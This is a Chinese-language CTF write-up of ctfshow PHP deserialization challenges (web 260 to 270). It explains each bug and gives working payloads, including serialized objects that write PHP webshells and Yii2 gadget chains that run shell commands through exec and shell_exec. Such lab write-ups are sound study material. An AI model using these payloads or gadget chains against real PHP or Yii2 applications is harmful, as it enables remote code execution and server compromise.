web 260
php
**<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}**
可以看到其实就是只要传入的值里面有ctfshow_i_love_36D就可以,在Php中如果键名和值只要包含指定内容,那么他整个序列化之后也会包含这个内容,所以payload就是
?ctfshow[]=ctfshow_i_love_36D
web 261
php
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
首先看到了eval任意执行,然后但是触发条件是_invoke,所以是用不了的,然后我们只能用__destruct这个析构函数,但是是有条件的code需要弱等于0x36d,也就是877.然后就可以通过file_put_contents这个函数把后面的的password写入到username的文件中,然后但是还是有wakeup函数,只要username和password有一个不为空就会直接中止脚本,但是在Php高版本中并不会触发wakeup在这里只要高于7.4版本以上反序列化时会忽略wakeup,所以账号和密码是可控的

exp是这样的:
php
<?php
class ctfshowvip
{
public $username;
public $password;
public $code;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
}
}
$c=new ctfshowvip("877.php","<?php system('tac /f*');?>");
echo serialize($c);
payload:
php
?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:26:"<?php system('tac /f*');?>";s:4:"code";N;}
然后访问877.php得到答案

web 262
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
这里仔细可以看到包含了message.php这个文件,直接访问
php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
所以这里我们只要做到$msg->token=='admin',这个条件就可以,所以EXP就是这样的:
php
<?php
class message{
public $token='admin';
}
$m=new message();
echo base64_encode(serialize($m));
然后msg的传参是在cookie中所以
payload
cookie:msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

或者还有一种解码是字符串逃逸
php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
因为这里有str_replace这个替换字符串的函数,会将fuck替换成loveU这样就多出来一个字符串,然后序列化中的相当于定好了值的长度
O:7:"message":4:{ // O=对象,7=类名长度,message=类名,4=属性个数
s:4:"from";s:1:"1"; // s=字符串,4=键名from长度,1=值1的长度
s:3:"msg";s:1:"2"; // 3=键名msg长度,1=值2的长度
s:2:"to";s:1:"3"; // 2=键名to长度,1=值3的长度
s:5:"token";s:4:"user";// 5=键名token长度,4=值user的长度
}长度已经定好了,再多也只会去干扰后面的字符串,相当于推箱子,然后当我们把原来的字符串全部替换掉,就可以更改token=admin然后得到flag了,然后原始的字段是这样的
";s:2:"to";s:1:"1";s:5:"token";s:4:"user";一共是27个字符所以一共要有27个fuck
然后再后面跟上;s:5:"token";s:5:"admin"这样就拼接成了把原来的token替换掉了
payload就是这样:
php
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后直接访问message.php就得到了flag

web 263
这道题目我们扫描目录发现访问www.zip就可以得到源码,然后我们看到了inc.php这个文件中有file_put_contents函数是可以写入文件的,然后我们这里需要用到sesssion反序列化,session反序列化的原理是序列化时用的引擎和反序列化时用的引擎不一样,这样就造成了解析错误,而Php版本在5.5.4之前的版本时php,之后时php_serizlize这个引擎这里看到序列化的时候用的时Php
php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
在check.php中我们可以看到会获取到cookie[limit]然后还会进行base64解码,登录的时候
php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
可以看到这行代码
php
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
这行代码可以看到会获取cookie中的limit变量,然后进行base64加密(先解密再加密),所以我们在外面要进行一次base64加密,
然后看到inc.php里面有反序列化的操作代码如下
php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);
// sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}
这句代码的意思时修改inc.php里的配置内容,就是把反序列化引擎改成Php,之前用的时php_serialize的引擎,所以这样就序列化和反序列化的引擎不同就构成了漏洞
php
ini_set('session.serialize_handler', 'php');
然后可以看到这里的值
php
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
file_put_contents就是写入内容,如果没有文件的话就直接创建一个文件,所以我们要做到的就是自己控制username和password的值所以payload就是这样写的
php
<?php
class User
{
public $username;
public $password;
function __construct()
{
$this->username = 'zzb.php';
$this->password = '<?php system("tac flag.php")?>';
}
}
$u = new User();
echo urlencode(base64_encode('|' . serialize($u)));
这样得到用户名和密码就可控了,然后这个竖线的特点是因为引擎不同对于|的理解不一样php_serialize的特点是把|当成字符串但是php反序列化的时候把|当成分隔符了,就是
php
a:1:{s:5:"limit";s:100:"|O:4:"User":2:{s:8:"username";s:8:"zzb.php";s:8:"password";s:30:"<?php system('tac flag.php')?>";}";}
然后a:1:{s:5:"limit";s💯"是键名,O:4:"User":2:{s:8:"username";s:8:"my6n.php";s:8:"password";s:30:"<?php system('tac flag.php')?>";}";}是反序列化内容然后前面的因为并不是键名,所以直接丢弃,然后就后面的值,进行反序列化,然后username=zzb.php,password=恶意代码,然后需要先访问一下index,触发会话,

然后再访问check,改入cookie。然后就触发了写入函数,所以名字是zzb.php,内容是查看flag所以直接访问log-zzb.php 就得到了flag

如果得不出来结果重启一下环境,可能是session变量混乱了
web 264
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
可以看到这里其实是跟262题一样,包含了message.php
php
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
跟262的区别就是这里是session了不是cookie,但是exp还是一样的都是通过字符串逃逸来进行的我们还是要是token=admin,所以还是";s:5:"token";s:5:"admin";},我们要插入的内容是27个字符,然后每次进行替换后都可以逃逸一个字符,所以前面27个fuck,后面跟上这段插入的代码,然后再访问messgae.php,不一样的是需要在cookie中自定义一个msg=1等于几都可以才会出现flag

web 265
php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
可以看到一个构造函数,序列化时自动触发,然后这题主要是要让token和password相等,但是后面这个token的值会变成随机的md5的值,只要token和password相等就会输出flag,然后要把构造一个对象,然后使用&来链接这样得到的结果就是虽然属性名字时不一样的,但是指向的内存地址是一样的,所以得到的值是一样的,所以Payload就是:
php
<?php
class ctfshowAdmin
{
public $token;
public $password;
public function __construct($t, $p)
{
$this->token = $t;
$this->password = $p;
}
}
$c=new ctfshowAdmin(1,2);
$c->token=&$c->password;
echo serialize($c)
?>;
这样就得到了序列化结果
php
?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";i:2;s:8:"password";R:2;}
这里面这个R:2的意思是里面一共有四个值,第一个是token的序列名,第二个是token的值,第三个是password的序列名,第四个是password的值,然后第四个他并没有单独写入而是直接去的第二个序列值.然后直接传参就得到了flag

web 266
php
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
可以看到这段代码的结构就是toString也就是当对象被当成字符串处理的时候就会触发返回useranem,但是主要要触发的析构函数,但是下面有一个检测,只要检测到ctfshow就会抛出异常,然后终结程序,这样析构函数就无法触发了,但是这里检测大小写敏感,所以可以用大小写绕过,
php
<?php
class Ctfshow
{
public $username = 'xxxxxx';
public $password = 'xxxxxx';
}
$c=new ctfshow();
echo serialize($c);
得出来的结果就是
O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
然后抓包后传参就得到了flag

或者还有第二种方法就是用GC接住抛出的异常,也就是回收对象,然后触发destruct函数,这有两种触发方式
要不就是当对象被Unset处理时,要不就是数组对象被NULL时,所以在刚才的基础上
php
<?php
class Ctfshow
{
public $username = 'xxxxxx';
public $password = 'xxxxxx';
}
$c=new ctfshow();
$m=array($c,0);
echo serialize($m);
a:2:{i:0;O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}i:1;i:0;}
这样就可以得到flag
web 267
首先这题开始是一个弱口令 admin/admin直接就登陆进去了然后点开about会有提示,view-source,刚开始联想到是查看源代码,但是看了wp才知道这其实是yii的特点路由,然后直接访问&view-source.
http://55af1ae0-880f-475d-b837-a5e4d0c63fd9.challenge.ctf.show/index.php?r=site%2Fabout\&view-source
就出现了一个反序列化的提示
php
///backdoor/shell
unserialize(base64_decode($_GET['code']))
然后其实还通过浏览器插件识别了一下,其实用的是yi框架

这里看到大家用的都是exp直接打的,然后网上搜了一下师傅的文章,仔细看了看但是其实还是有点懵,链接挂在这后面回来接着看吧挖掘链接
大概记一下自己的理解吧其实就是挖掘的思路首先是找析构函数__destruct然后
php
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
看这个函数,析构函数触发了reset函数,然后reset中的dataReader这个参数是可控的,然后给到close函数,但是这个函数里并没有危害性的函数,但是php中有__call这个函数,就是当使用一个并不存在的函数时触发,所以这样就有了中间过度的一个函数,然后全局搜索__call函数,文章中写到的函数比较好利用的时这个
php
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
然后跟进format
php
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
虽然 f o r m a t t e r 和 formatter和 formatter和arguments都不可控但是因为有 t h i s − > g e t F o r m a t t e r ( this->getFormatter( this−>getFormatter(formatter)所以$formatter这个参数就可控了,然后第二个数组是空,然后就可以调用框架中命令执行的函数了
php
public function run() // 无参数,符合call_user_func_array的调用条件
{
if ($this->checkAccess) {
// 终极危险函数:call_user_func(可控回调+可控参数)
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
这样checkAccess,和id也是我们可控的,一个写一个system 后面写一个命令完全就可以RCE了
流程大概是这样的,然后写Poc:
php
<?php
namespace yii\rest{ #命令执行类
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess='exec';
$this->id='cat /flag >2.txt';
}
}
}
namespace Faker { ##跳板类
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db {
use Faker\Generator;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
}
}
namespace {
echo base64_encode(serialize(new yii\db\BatchQueryResult()));
}2
通过这个攻击链条得到的值是
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjE2OiJjYXQgL2ZsYWcgPjIudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
然后通过前面的提示加一个传参地址?r=backdoor/shell&code
虽然会报错,但是不用管,直接访问2.txt得到结果

web 268
刚才那个exp打不通了,换一个exp
php
<?php
namespace yii\rest{ #命令执行类
class Action
{
public $checkAccess;
}
class IndexAction{
public function __construct($func,$param){
$this->checkAccess=$func;
$this->id=$param;
}
}
}
namespace yii\web { ##跳板类
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func,$param)
{
$this->writeCallback=[new \yii\rest\IndexAction($func,$param),"run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func,$param)
{
$this->_dataReader = new \yii\web\DbSession($func,$param);
}
}
}
namespace {
$exp=new \yii\db\BatchQueryResult('shell_exec','cp /f* 123.txt');
echo base64_encode(serialize(($exp)));
}
exp的打的思路一样利用的漏洞也一样就是用的类不一样,这样比较适用更多场景,然后过滤了一些命令执行,还是用提示来打
web 269
同上
web 270
同上
